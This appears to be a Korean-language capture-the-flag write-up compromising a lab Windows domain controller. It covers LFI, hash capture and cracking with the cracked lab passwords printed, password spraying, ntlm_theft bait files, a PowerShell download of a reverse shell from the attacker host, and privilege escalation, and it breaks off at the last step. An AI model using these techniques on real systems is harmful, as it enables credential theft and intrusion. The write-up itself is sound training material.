
INFORMATION GAHTERING
PORT SCANNING
NMAP - TCP PORTS
- TCP 열린 포트 조사결과 커버로스(88) 외 88(LDAP), 636(LDAPS) 등의 포트가 개방되어 있었다.
- 이를 통해, 해당 IP 주소에서는 도메인 컨트롤러가 운영되고 있음을 알 수 있다.
└─# nmap -p- -sC -sV -Pn -n --min-rate 10000 10.129.124.131 -oN 10.129.124.131_TCP
Starting Nmap 7.95 ( https://nmap.org ) at 2025-08-31 20:49 EDT
Nmap scan report for 10.129.124.131
Host is up (0.21s latency).
Not shown: 65518 filtered tcp ports (no-response)
PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
80/tcp open http Apache httpd 2.4.52 ((Win64) OpenSSL/1.1.1m PHP/8.1.1)
| http-methods:
|_ Potentially risky methods: TRACE
|_http-server-header: Apache/2.4.52 (Win64) OpenSSL/1.1.1m PHP/8.1.1
|_http-title: g0 Aviation
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2025-09-01 07:49:46Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: flight.htb0., Site: Default-First-Site-Name)
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open tcpwrapped
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: flight.htb0., Site: Default-First-Site-Name)
3269/tcp open tcpwrapped
9389/tcp open mc-nmf .NET Message Framing
49667/tcp open msrpc Microsoft Windows RPC
49673/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
49674/tcp open msrpc Microsoft Windows RPC
49700/tcp open msrpc Microsoft Windows RPC
Service Info: Host: G0; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
| smb2-time:
| date: 2025-09-01T07:50:40
|_ start_date: N/A
| smb2-security-mode:
| 3:1:1:
|_ Message signing enabled and required
|_clock-skew: 6h59m59s
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 133.76 secondsNMAP - UDP PORTS
- UDP 포트스캔 결과 53(DNS), 88(UDP), 123(NTP) 포트가 개방되어 있었다.
- 88번 포트는 초기 인증 요청(AS-REQ/AS-REP), 서비스 티켓 요청(TGS-REQ/TGS-REP) 등에 주로 사용된다.
└─# nmap -sU -sV -Pn -n --top-ports 100 --min-rate 10000 10.129.124.131 -oN 10.129.124.131_UDP
Starting Nmap 7.95 ( https://nmap.org ) at 2025-08-31 20:50 EDT
Nmap scan report for 10.129.124.131
Host is up (0.21s latency).
Not shown: 97 open|filtered udp ports (no-response)
PORT STATE SERVICE VERSION
53/udp open domain (generic dns response: SERVFAIL)
88/udp open kerberos-sec Microsoft Windows Kerberos (server time: 2025-09-01 07:50:16Z)
123/udp open ntp NTP v3
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port53-UDP:V=7.95%I=7%D=8/31%Time=68B4EDD8%P=x86_64-pc-linux-gnu%r(DNS-
SF:SD,2E,"\0\0\x80\x82\0\x01\0\0\0\0\0\0\t_services\x07_dns-sd\x04_udp\x05
SF:local\0\0\x0c\0\x01")%r(NBTStat,32,"\x80\xf0\x80\x82\0\x01\0\0\0\0\0\0\
SF:x20CKAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\0\0!\0\x01");
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 530.63 secondsDomain Reconnaissance - dig
dig명령어를 통해fight.htb도메인에 대한 모든 종류의 DNS 레코드(예: A, MX, NS 등) 정보를 확인한다.- 호스트 파일에 FQDN(g0.flight.htb) 정보와 NetBIOS 이름(호스트명)을 추가해준다.
└─# dig any flight.htb @10.129.124.131
; <<>> DiG 9.20.9-1-Debian <<>> any flight.htb @10.129.124.131
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 45585
;; flags: qr aa rd ra; QUERY: 1, ANSWER: 4, AUTHORITY: 0, ADDITIONAL: 3
;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4000
;; QUESTION SECTION:
;flight.htb. IN ANY
;; ANSWER SECTION:
flight.htb. 600 IN A 10.129.124.131
flight.htb. 3600 IN NS g0.flight.htb.
flight.htb. 3600 IN SOA g0.flight.htb. hostmaster.flight.htb. 72 900 600 86400 3600
flight.htb. 600 IN AAAA dead:beef::3570:89d7:87ac:d7c5
;; ADDITIONAL SECTION:
g0.flight.htb. 1200 IN A 10.129.124.131
g0.flight.htb. 1200 IN AAAA dead:beef::3570:89d7:87ac:d7c5
;; Query time: 203 msec
;; SERVER: 10.129.124.131#53(10.129.124.131) (TCP)
;; WHEN: Sun Aug 31 21:18:13 EDT 2025
;; MSG SIZE rcvd: 191
[ . . . ]
└─# cat /etc/hosts
127.0.0.1 localhost
127.0.1.1 kali
::1 localhost ip6-localhost ip6-loopback
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters
10.129.124.131 g0.flight.htb flight.htb g0Direcotry Enumeration
- 80번 포트에서 운영중인 웹 서비스 페이지에 대하여 디렉토리 브루트포스 공격을 진행한다.
- 유효한 정보는 발견되지 않았다.
└─# gobuster dir -u 10.129.124.131 -w /usr/share/seclists/Discovery/Web-Content/directory-list-lowercase-2.3-medium.txt --no-error
[ . . . ]
/images (Status: 301) [Size: 341] [--> http://10.129.124.131/images/]
/css (Status: 301) [Size: 338] [--> http://10.129.124.131/css/]
/js (Status: 301) [Size: 337] [--> http://10.129.124.131/js/]
[ . . . ]Subdomain Enumeration
- 80번 포트에서 운영중인 웹 서비스 페이지에 대하여 서브도메인 정보를 수집한다.
http:///school.flight.htb서브도메인이 발견되었다.
└─# ffuf -u "http://flight.htb" -H "Host: FUZZ.flight.htb" -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -fs 7069
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.1.0-dev
________________________________________________
:: Method : GET
:: URL : http://flight.htb
:: Wordlist : FUZZ: /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt
:: Header : Host: FUZZ.flight.htb
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200-299,301,302,307,401,403,405,500
:: Filter : Response size: 7069
________________________________________________
school [Status: 200, Size: 3996, Words: 1045, Lines: 91, Duration: 209ms]
:: Progress: [4989/4989] :: Job [1/1] :: 39 req/sec :: Duration: [0:00:30] :: Errors: 0 ::- 새로 발견된 서브도메인 정보를
/etc/hosts파일에 추가한다.
└─# cat /etc/hosts
127.0.0.1 localhost
127.0.1.1 kali
::1 localhost ip6-localhost ip6-loopback
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters
10.129.124.131 g0.flight.htb flight.htb g0
10.129.124.131 school.flight.htbhttp://school.flight.htb접근 후 홈페이지에 노출된Home, About Us, Blog버튼을 클릭해보면 GET 메소드를 통해view파라미터에 특정 파일을 서버에 요청하는 것을 확인할 수 있다.- 따라서, 해당 파라미터 값을 악용하여 LFI 공격이 가능한지 확인해 볼 필요가 있다.

VULNEABILITY ASSESSMENT
Testing LFI (Local File Inclusion)
- 포트스캔 과정에서, 대상 호스트가 Windows 운영체제를 사용하고 있음을 확인했다.
- Windows OS에 대한 LFI 공격 수행결과, LFI 공격이 가능함을 확인하였으며 유효한 경로를 발견하였다.
└─# ffuf -u 'http://school.flight.htb/index.php?view=FUZZ' -w /usr/share/seclists/Fuzzing/LFI/LFI-Windows-adeadfed.txt -fs 1170
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.1.0-dev
________________________________________________
:: Method : GET
:: URL : http://school.flight.htb/index.php?view=FUZZ
:: Wordlist : FUZZ: /usr/share/seclists/Fuzzing/LFI/LFI-Windows-adeadfed.txt
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200-299,301,302,307,401,403,405,500
:: Filter : Response size: 1170
________________________________________________
//./C:/Windows/system32/drivers/etc/hosts. [Status: 200, Size: 1926, Words: 315, Lines: 52, Duration: 208ms]
//./C:/Windows/system32/drivers/etc/hosts [Status: 200, Size: 1926, Words: 315, Lines: 52, Duration: 209ms]
//127.0.0.1/C$/Windows/system32/drivers/etc/hosts [Status: 200, Size: 1926, Words: 315, Lines: 52, Duration: 220ms]
//?/C:/Windows/system32/drivers/etc/hosts [Status: 200, Size: 1102, Words: 144, Lines: 31, Duration: 220ms]
//localhost/C$/Windows/system32/drivers/etc/hosts [Status: 200, Size: 1926, Words: 315, Lines: 52, Duration: 220ms]
//localhost/C$/Windows/system32/drivers/etc/hosts. [Status: 200, Size: 1926, Words: 315, Lines: 52, Duration: 220ms]
//127.0.0.1/C$/Windows/system32/drivers/etc/hosts. [Status: 200, Size: 1926, Words: 315, Lines: 52, Duration: 209ms]
//::1/C$/Windows/system32/drivers/etc/hosts [Status: 200, Size: 1926, Words: 315, Lines: 52, Duration: 211ms]
//::1/C$/Windows/system32/drivers/etc/hosts. [Status: 200, Size: 1926, Words: 315, Lines: 52, Duration: 212ms]
C:/Windows/system32/drivers/etc/hosts [Status: 200, Size: 1926, Words: 315, Lines: 52, Duration: 204ms]
C:/Windows/system32/drivers/etc/hosts. [Status: 200, Size: 1926, Words: 315, Lines: 52, Duration: 204ms]
:: Progress: [215/215] :: Job [1/1] :: 191 req/sec :: Duration: [0:00:01] :: Errors: 0 ::- 대상 호스트의 80번 포트에서는 웹 서비스가 운영중이었으며, 숨겨진 서브도메인(school.flight.htb)이 존재했다. 이 서브도메인에는
index.php파일이 존재하였는데, 이 소스파일의view파라미터는 LFI 공격에 취약했다. 이를 통해 공격자는 대상 호스트에 임의의 값을 입력하여 호스트 내 중요 파일에 접근 가능했다. - 특정 경로의 파일에 접근하는 것은 가능했으나, RCE가 가능한 포인트는 발견되지 않아 직접적인 리버스 쉘 연결은 불가능했다. 이러한 경우에 리스폰더(Responder)를 이용하여 대상 호스트의 NetNTLMv2 해시를 탈취하여 크래킹을 시도해 볼 수 있다. (RCE는 불가하지만, 특정 경로로의 접근은 시도해볼 수 있으므로 공격자의 SMB 서버로 접근하여 NetNTLMv2 해시값을 획득할 수 있다.)
Responder - Gain NetNTLMv2 Hash of target host’s account
- 공격자 호스트 측에서 NetNTLMv2 해시를 얻기 위한 서버를 개방한다. (responder)
└─# responder -I tun0 
Cracking NetNTLMv2 Hash
- 리스폰더를 이용하여 대상 호스트로부터 NetNTLMv2 해시를 획득한 후 크래킹에 성공하였다. (S@Ss!K@*t13)
└─# john svc_apache_netntlm_hash --wordlist=./rockyou.txt
Using default input encoding: UTF-8
Loaded 1 password hash (netntlmv2, NTLMv2 C/R [MD4 HMAC-MD5 32/64])
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
S@Ss!K@*t13 (svc_apache)
1g 0:00:00:06 DONE (2025-08-31 23:27) 0.1582g/s 1687Kp/s 1687Kc/s 1687KC/s SADSAM..S42150461
Use the "--show --format=netntlmv2" options to display all of the cracked passwords reliably
Session completed.Domain Enumeration (impakcet-lookupsid)
impacket-lookupsid도구를 이용하여 도메인 내 유저정보를 추출한다.
└─# impacket-lookupsid flight.htb/svc_apache@10.129.124.131
Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies
Password:
[*] Brute forcing SIDs at 10.129.124.131
[*] StringBinding ncacn_np:10.129.124.131[\pipe\lsarpc]
[*] Domain SID is: S-1-5-21-4078382237-1492182817-2568127209
498: flight\Enterprise Read-only Domain Controllers (SidTypeGroup)
500: flight\Administrator (SidTypeUser)
501: flight\Guest (SidTypeUser)
502: flight\krbtgt (SidTypeUser)
512: flight\Domain Admins (SidTypeGroup)
513: flight\Domain Users (SidTypeGroup)
514: flight\Domain Guests (SidTypeGroup)
515: flight\Domain Computers (SidTypeGroup)
516: flight\Domain Controllers (SidTypeGroup)
517: flight\Cert Publishers (SidTypeAlias)
518: flight\Schema Admins (SidTypeGroup)
519: flight\Enterprise Admins (SidTypeGroup)
520: flight\Group Policy Creator Owners (SidTypeGroup)
521: flight\Read-only Domain Controllers (SidTypeGroup)
522: flight\Cloneable Domain Controllers (SidTypeGroup)
525: flight\Protected Users (SidTypeGroup)
526: flight\Key Admins (SidTypeGroup)
527: flight\Enterprise Key Admins (SidTypeGroup)
553: flight\RAS and IAS Servers (SidTypeAlias)
571: flight\Allowed RODC Password Replication Group (SidTypeAlias)
572: flight\Denied RODC Password Replication Group (SidTypeAlias)
1000: flight\Access-Denied Assistance Users (SidTypeAlias)
1001: flight\G0$ (SidTypeUser)
1102: flight\DnsAdmins (SidTypeAlias)
1103: flight\DnsUpdateProxy (SidTypeGroup)
1602: flight\S.Moon (SidTypeUser)
1603: flight\R.Cold (SidTypeUser)
1604: flight\G.Lors (SidTypeUser)
1605: flight\L.Kein (SidTypeUser)
1606: flight\M.Gold (SidTypeUser)
1607: flight\C.Bum (SidTypeUser)
1608: flight\W.Walker (SidTypeUser)
1609: flight\I.Francis (SidTypeUser)
1610: flight\D.Truff (SidTypeUser)
1611: flight\V.Stevens (SidTypeUser)
1612: flight\svc_apache (SidTypeUser)
1613: flight\O.Possum (SidTypeUser)
1614: flight\WebDevs (SidTypeGroup)- 추후 크레덴셜 스프레잉 공격에 활용하기 위해
SidTypeUser에 대한 정보만 따로 추출하여 파일로 저장한다.
└─# impacket-lookupsid flight.htb/svc_apache@10.129.124.131 | grep -i SidTypeUser | awk '{print $2}' | cut -d '\' -f 2 | tee SidTypeUsers
Password:
Administrator
Guest
krbtgt
G0$
S.Moon
R.Cold
G.Lors
L.Kein
M.Gold
C.Bum
W.Walker
I.Francis
D.Truff
V.Stevens
svc_apache
O.PossumPassword Spraying Attack
- 이전에 획득한
svc_apache계정의 패스워드를 이용하여 스프레잉 공격을 진행한다. - 이 과정에서
S.Moon계정도svc_apache계정과 동일한 패스워드를 사용하고 있는 것을 확인했다.
└─# nxc smb 10.129.124.131 -u SidTypeUsers -p 'S@Ss!K@*t13' --no-brute --continue-on-success
SMB 10.129.124.131 445 G0 [*] Windows 10 / Server 2019 Build 17763 x64 (name:G0) (domain:flight.htb) (signing:True) (SMBv1:False)
SMB 10.129.124.131 445 G0 [-] flight.htb\Administrator:S@Ss!K@*t13 STATUS_LOGON_FAILURE
SMB 10.129.124.131 445 G0 [-] flight.htb\Guest:S@Ss!K@*t13 STATUS_LOGON_FAILURE
SMB 10.129.124.131 445 G0 [-] flight.htb\krbtgt:S@Ss!K@*t13 STATUS_LOGON_FAILURE
SMB 10.129.124.131 445 G0 [-] flight.htb\G0$:S@Ss!K@*t13 STATUS_LOGON_FAILURE
SMB 10.129.124.131 445 G0 [+] flight.htb\S.Moon:S@Ss!K@*t13
SMB 10.129.124.131 445 G0 [-] flight.htb\R.Cold:S@Ss!K@*t13 STATUS_LOGON_FAILURE
SMB 10.129.124.131 445 G0 [-] flight.htb\G.Lors:S@Ss!K@*t13 STATUS_LOGON_FAILURE
SMB 10.129.124.131 445 G0 [-] flight.htb\L.Kein:S@Ss!K@*t13 STATUS_LOGON_FAILURE
SMB 10.129.124.131 445 G0 [-] flight.htb\M.Gold:S@Ss!K@*t13 STATUS_LOGON_FAILURE
SMB 10.129.124.131 445 G0 [-] flight.htb\C.Bum:S@Ss!K@*t13 STATUS_LOGON_FAILURE
SMB 10.129.124.131 445 G0 [-] flight.htb\W.Walker:S@Ss!K@*t13 STATUS_LOGON_FAILURE
SMB 10.129.124.131 445 G0 [-] Connection Error: The NETBIOS connection with the remote host timed out.
SMB 10.129.124.131 445 G0 [-] flight.htb\D.Truff:S@Ss!K@*t13 STATUS_LOGON_FAILURE
SMB 10.129.124.131 445 G0 [-] flight.htb\V.Stevens:S@Ss!K@*t13 STATUS_LOGON_FAILURE
SMB 10.129.124.131 445 G0 [+] flight.htb\svc_apache:S@Ss!K@*t13
SMB 10.129.124.131 445 G0 [-] flight.htb\O.Possum:S@Ss!K@*t13 STATUS_LOGON_FAILURECheck SMB Permission of S.Moon
S.Moon계정의 SMB 쉐어 접근권한을 확인한 결과,Shared폴더에 대하여 쓰기 권한이 있음을 확인했다.- SMB 쉐어에 대한 쓰기 권한이 있는 경우에는 ntlm_theft 도구를 이용하여, NetNTLMv2 해시 값 획득을 시도해볼 수 있다.
ntlm_theft도구를 이용하여 악성 페이로드가 저장된 파일을 쉐어에 업로드하고 리스폰더를 이용하여 대상 호스트로부터 NetNTLMv2 해시 값을 얻을 수 있다.
└─# nxc smb 10.129.124.131 -u S.Moon -p 'S@Ss!K@*t13' --shares
SMB 10.129.124.131 445 G0 [*] Windows 10 / Server 2019 Build 17763 x64 (name:G0) (domain:flight.htb) (signing:True) (SMBv1:False)
SMB 10.129.124.131 445 G0 [+] flight.htb\S.Moon:S@Ss!K@*t13
SMB 10.129.124.131 445 G0 [*] Enumerated shares
SMB 10.129.124.131 445 G0 Share Permissions Remark
SMB 10.129.124.131 445 G0 ----- ----------- ------
SMB 10.129.124.131 445 G0 ADMIN$ Remote Admin
SMB 10.129.124.131 445 G0 C$ Default share
SMB 10.129.124.131 445 G0 IPC$ READ Remote IPC
SMB 10.129.124.131 445 G0 NETLOGON READ Logon server share
SMB 10.129.124.131 445 G0 Shared READ,WRITE
SMB 10.129.124.131 445 G0 SYSVOL READ Logon server share
SMB 10.129.124.131 445 G0 Users READ
SMB 10.129.124.131 445 G0 Web READntlm_theft (Gain NetNTLMv2 Hash)
└─# git clone https://github.com/Greenwolf/ntlm_theft.git
Cloning into 'ntlm_theft'...
remote: Enumerating objects: 135, done.
remote: Counting objects: 100% (28/28), done.
remote: Compressing objects: 100% (25/25), done.
remote: Total 135 (delta 13), reused 8 (delta 3), pack-reused 107 (from 1)
Receiving objects: 100% (135/135), 2.12 MiB | 22.14 MiB/s, done.
Resolving deltas: 100% (61/61), done.
[ . . . ]
└─# chmod +x ntlm_theft.py
[ . . . ]
└─# python3 ntlm_theft.py -g all -s 10.10.14.8 -f test
Created: test/test.scf (BROWSE TO FOLDER)
Created: test/test-(url).url (BROWSE TO FOLDER)
Created: test/test-(icon).url (BROWSE TO FOLDER)
Created: test/test.lnk (BROWSE TO FOLDER)
Created: test/test.rtf (OPEN)
Created: test/test-(stylesheet).xml (OPEN)
Created: test/test-(fulldocx).xml (OPEN)
Created: test/test.htm (OPEN FROM DESKTOP WITH CHROME, IE OR EDGE)
Created: test/test-(includepicture).docx (OPEN)
Created: test/test-(remotetemplate).docx (OPEN)
Created: test/test-(frameset).docx (OPEN)
Created: test/test-(externalcell).xlsx (OPEN)
Created: test/test.wax (OPEN)
Created: test/test.m3u (OPEN IN WINDOWS MEDIA PLAYER ONLY)
Created: test/test.asx (OPEN)
Created: test/test.jnlp (OPEN)
Created: test/test.application (DOWNLOAD AND OPEN)
Created: test/test.pdf (OPEN AND ALLOW)
Created: test/zoom-attack-instructions.txt (PASTE TO CHAT)
Created: test/Autorun.inf (BROWSE TO FOLDER)
Created: test/desktop.ini (BROWSE TO FOLDER)
Generation Complete.- 공격자 호스트에서 실행중인 리스폰더 서버에
c.bum계정의 NTLMv2 Hash 값이 반환된 것을 확인 가능하다.

Cracking NTLMv2 Hash (c.bum)
c.bum계정의 패스워드 추출에 성공했다. (Tikkycoll_431012284)- 추가로, 이 패스워드로 패스워드 스프레잉 공격을 진행하였으나 유효한 계정은 존재하지 않았다.
└─# echo 'c.bum::flight.htb:36cd727fca74d031:9F023A6AC746C47AE0D01C5F853B1C71:010100000000000000E7E96C0F1BDC010D88132F00630D8A000000000200
08004C0048005300530001001E00570049004E002D004300530056004F00510059004A00360034004A00530004003400570049004E002D004300530056004F00510059004A
00360034004A0053002E004C004800530053002E004C004F00430041004C00030014004C004800530053002E004C004F00430041004C00050014004C004800530053002E00
4C004F00430041004C000700080000E7E96C0F1BDC010600040002000000080030003000000000000000000000000030000071D19A580A57C3262D643ADF0E1D0FCA1A67F1
8C85052849DA65F0025765CE080A0010000000000000000000000000000000000009001E0063006900660073002F00310030002E00310030002E00310034002E0038000000
000000000000' > cbum_hash
[ . . . ]
└─# john cbum_hash --wordlist=./rockyou.txt
Using default input encoding: UTF-8
Loaded 1 password hash (netntlmv2, NTLMv2 C/R [MD4 HMAC-MD5 32/64])
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
Tikkycoll_431012284 (c.bum)
1g 0:00:00:06 DONE (2025-09-01 07:13) 0.1540g/s 1623Kp/s 1623Kc/s 1623KC/s TinyMutt69..Tiffani29
Use the "--show --format=netntlmv2" options to display all of the cracked passwords reliably
Session completed.Check SMB Permission of C.Bum
C.Bum계정은Web쉐어에 대해 쓰기(WRITE) 권한이 있다.
└─# nxc smb 10.129.124.131 -u 'C.Bum' -p 'Tikkycoll_431012284' --shares
SMB 10.129.124.131 445 G0 [*] Windows 10 / Server 2019 Build 17763 x64 (name:G0) (domain:flight.htb) (signing:True) (SMBv1:False)
SMB 10.129.124.131 445 G0 [+] flight.htb\C.Bum:Tikkycoll_431012284
SMB 10.129.124.131 445 G0 [*] Enumerated shares
SMB 10.129.124.131 445 G0 Share Permissions Remark
SMB 10.129.124.131 445 G0 ----- ----------- ------
SMB 10.129.124.131 445 G0 ADMIN$ Remote Admin
SMB 10.129.124.131 445 G0 C$ Default share
SMB 10.129.124.131 445 G0 IPC$ READ Remote IPC
SMB 10.129.124.131 445 G0 NETLOGON READ Logon server share
SMB 10.129.124.131 445 G0 Shared READ,WRITE
SMB 10.129.124.131 445 G0 SYSVOL READ Logon server share
SMB 10.129.124.131 445 G0 Users READ
SMB 10.129.124.131 445 G0 Web READ,WRITEWeb쉐어로 접근하면, 2개의 도메인 폴더를 확인할 수 있다.- 이 때,
\school.flight.htb\index.php는 앞서 살펴본index.php파일에 해당한다. school서브도메인에서 PHP 서버가 동작하고 있음을 확인하였고, 해당 폴더에 파일 쓰기 권한이 존재한다.- 따라서, 악성 페이로드(리버스쉘)가 저장된 파일을 업로드하여 RCE 명령 수행이 가능한지 테스트해 볼 필요가 있다.
└─# smbclient -U 'C.Bum' //10.129.124.131/Web
Password for [WORKGROUP\C.Bum]:
Try "help" to get a list of possible commands.
smb: \> ls
. D 0 Mon Sep 1 15:08:00 2025
.. D 0 Mon Sep 1 15:08:00 2025
flight.htb D 0 Mon Sep 1 15:07:00 2025
school.flight.htb D 0 Mon Sep 1 15:07:00 2025
cd
5056511 blocks of size 4096. 1229930 blocks available
smb: \> cd school.flight.htb
smb: \school.flight.htb\> ls
. D 0 Mon Sep 1 15:07:00 2025
.. D 0 Mon Sep 1 15:07:00 2025
about.html A 1689 Mon Oct 24 23:54:45 2022
blog.html A 3618 Mon Oct 24 23:53:59 2022
home.html A 2683 Mon Oct 24 23:56:58 2022
images D 0 Mon Sep 1 15:07:00 2025
index.php A 2092 Thu Oct 27 03:59:25 2022
lfi.html A 179 Thu Oct 27 03:55:16 2022
styles D 0 Mon Sep 1 15:07:00 2025- 리버스 쉘은 PHP Ivan Sincek 코드를 사용하였다.
- [1] 리버스 쉘 페이로드가 담긴 악성 파일을
school.flight.htb도메인에 업로드 - [2] 공격자 호스트에서 리버스 쉘 연결을 위한 리스닝 포트 개방 후 대기
- [3] 파일 업로드 경로로 접근하여 리버스 쉘 획득
- [1] 리버스 쉘 페이로드가 담긴 악성 파일을

- 현재 공격자는
svc_apache계정에 대한 쉘을 획득한 것을 확인할 수 있다.

Lateral Movement (svc_apache > C.Bum)
-
이전 과정에서 접속한
svc_apache계정은 서비스 계정으로 권한상승을 하기에는 제한적인 부분이 있다. -
또한, 공격자는 이미 크래킹을 통해
C.Bum계정의 평문 패스워드를 알고 있는 상태이다. -
이 때는
RunasCS바이너리를 이용하여 다른 계정으로 로그인을 시도할 수 있다. -
C.Bum계정의 쉘 획득 성공

C.Bum계정의 쉘 획득 후 플래그(C:\Users\C.Bum\Desktop\user.txt) 확인

PRIVILEGE ESCALATION
- 대상 호스트에서 운영중인 포트를 확인한 결과, 호스트 내부에서 동작하는 8000번 포트를 확인했다.
- 공격 호스트에서 호스트 내부에서 운영중인 서비스(8000)로의 직접 접근은 불가하므로, 포트 포워딩이 필요하다.
C:\>netstat -ano | findstr LISTENING
netstat -ano | findstr LISTENING
TCP 0.0.0.0:80 0.0.0.0:0 LISTENING 5508
TCP 0.0.0.0:88 0.0.0.0:0 LISTENING 652
TCP 0.0.0.0:135 0.0.0.0:0 LISTENING 924
TCP 0.0.0.0:389 0.0.0.0:0 LISTENING 652
TCP 0.0.0.0:443 0.0.0.0:0 LISTENING 5508
TCP 0.0.0.0:445 0.0.0.0:0 LISTENING 4
TCP 0.0.0.0:464 0.0.0.0:0 LISTENING 652
TCP 0.0.0.0:593 0.0.0.0:0 LISTENING 924
TCP 0.0.0.0:636 0.0.0.0:0 LISTENING 652
TCP 0.0.0.0:3268 0.0.0.0:0 LISTENING 652
TCP 0.0.0.0:3269 0.0.0.0:0 LISTENING 652
TCP 0.0.0.0:5985 0.0.0.0:0 LISTENING 4
TCP 0.0.0.0:8000 0.0.0.0:0 LISTENING 4
TCP 0.0.0.0:9389 0.0.0.0:0 LISTENING 3028
TCP 0.0.0.0:47001 0.0.0.0:0 LISTENING 4
[ . . . ]Reverse Port Forwarding (Chisel)
-
공격자 호스트에서
Chisel Server실행 후 대상 호스트에서Chisel Client를 실행하여 리버스 포트 포워딩을 진행한다. 그 후 공격자 로컬 IP 주소의 8989번 포트로 접근하면 호스트 내부에서 운영중인 8000번 포트로 접근이 가능하다.

- 이전 과정에서 호스트 내부의 8000번 포트로 접근하면, contact.html 경로로 접근되는 것을 확인할 수 있었다.
- 해당 파일은 대상 호스트의
C:\inetpub\development경로에 있는 파일인 것을 확인했다. - 여기서
inetpub폴더 권한은 웹 서버(IIS)가 설치된 경우 웹사이트 파일 및 로그를 관리하는 데 필수적이며, 기본적으로 Administrators, SYSTEM, IIS_IUSRS와 같은 계정이 읽기/쓰기 권한을 가진다.
C:\inetpub\development>dir
dir
Volume in drive C has no label.
Volume Serial Number is 1DF4-493D
Directory of C:\inetpub\development
09/01/2025 12:57 PM <DIR> .
09/01/2025 12:57 PM <DIR> ..
04/16/2018 02:23 PM 9,371 contact.html
09/01/2025 12:57 PM <DIR> css
09/01/2025 12:57 PM <DIR> fonts
09/01/2025 12:57 PM <DIR> img
04/16/2018 02:23 PM 45,949 index.html
09/01/2025 12:57 PM <DIR> js
2 File(s) 55,320 bytes
6 Dir(s) 5,022,593,024 bytes freeC.Bum계정이 해당 폴더에 대해 가지고 있는 권한을 확인한 결과, 쓰기 권한이 존재했다.- 따라서, 웹 쉘 혹은 리버스 쉘 코드를 삽입하여 권한 상승을 시도해 볼 수 있다.
C:\inetpub\development flight\C.Bum:(OI)(CI)(W)
NT SERVICE\TrustedInstaller:(I)(F)
NT SERVICE\TrustedInstaller:(I)(OI)(CI)(IO)(F)
NT AUTHORITY\SYSTEM:(I)(F)
NT AUTHORITY\SYSTEM:(I)(OI)(CI)(IO)(F)
BUILTIN\Administrators:(I)(F)
BUILTIN\Administrators:(I)(OI)(CI)(IO)(F)
BUILTIN\Users:(I)(RX)
BUILTIN\Users:(I)(OI)(CI)(IO)(GR,GE)
CREATOR OWNER:(I)(OI)(CI)(IO)(F)Upload Malicious File (C:\inetpub\development\[...])
- 12fdsf23.aspx
- 리버스 쉘 ASPX 파일은 위 URL의 IP/PORT를 변경하여 사용하였다.
C:\inetpub\development>powershell wget http://10.10.14.8/asp_revshell.aspx -OutFile 12fdsf23.aspx
powershell wget http://10.10.14.8/asp_revshell.aspx -OutFile 12fdsf23.aspx- 공격자 호스트에서 리스닝 포트 개방 후 리버스 쉘 경로로 접근하여
iis apppool계정의 쉘 획득에 성공했다. - 추가로, 해당 계정은
SeImpersonatePrivilege권한이 존재하므로 이를 악용하여 권한 상승을 시도해 볼 수 있다.

PRIVILEGE ESCALATION - SigmaPotato
- SigmaPotato Binary
SigmaPotato바이너리를 이용하여 권한 상승 성공

- 플래그(C:\Users\Administrator\Desktop\root.txt) 확인

Walkthrough
- [1] 포트 스캔을 통해 대상 호스트 식별 (도메인 컨트롤러)
- [2] 디렉토리 열거를 통해 서브 도메인 식별 (school.flight.htb)
- [3] 서브 도메인 주소에 존재하는 LFI 취약점을 통해 유효한 계정 획득 (svc_apche)
- [4] 패스워드 스프레잉 공격으로
svc_apche와 동일한 패스워드를 사용하는 계정 획득 (S.Moon) - [5] S.Moon 계정은
Shared쉐어에 쓰기 권한이 존재,ntlm_theft도구 이용하여 신규 계정 획득 (C.Bum) - [6] C.Bum 계정은
Web쉐어에 대해 쓰기 권한이 존재, 리버스 쉘 파일 업로드하여 초기 침투 - [7]
RunasCs도구 이용하여 C.Bum 계정으로 측면 이동 진행 - [8] 호스트 내부에서 동작하는 서비스(8000번 포트) 발견 후 접근을 위해 리버스 포트 포워딩 진행
- [9] 8000번 포트는
C:\inetpub\development경로의 IIS 서버에서 운영되고 있음을 확인 - [10]
C.Bum계정은 해당 경로에서 쓰기 권한이 존재, 악성 파일 업로드 후iis appool쉘 획득 - [11]
